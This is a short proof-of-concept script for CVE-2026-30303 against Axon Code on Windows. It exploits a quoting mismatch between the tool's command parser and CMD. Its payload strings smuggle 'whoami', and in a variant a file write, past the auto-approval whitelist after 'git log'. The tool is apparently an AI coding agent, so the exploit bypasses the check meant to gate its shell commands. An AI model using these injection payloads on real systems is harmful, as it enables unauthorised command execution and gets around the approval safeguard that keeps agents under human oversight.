CVE-2026-30303 Axon Code远程命令执行漏洞

# Proof of Concept for CVE-2026-30303 # Target: Axon Code on Windows # Description: Exploiting the parser mismatch to bypass the whitelist. # The payload uses the caret (^) to escape the quote in the parser's logic, # but Windows CMD interprets it differently. PAYLOAD = 'git log ^" & whoami ^"' # Alternatively, to write a file or establish a reverse shell: # PAYLOAD = 'git log ^" & echo pwned > c:\\pwn.txt ^"' print(f"[+] Sending payload to Axon Code auto-approval module: {PAYLOAD}") # In a real exploit, this would be sent via the vulnerable API endpoint.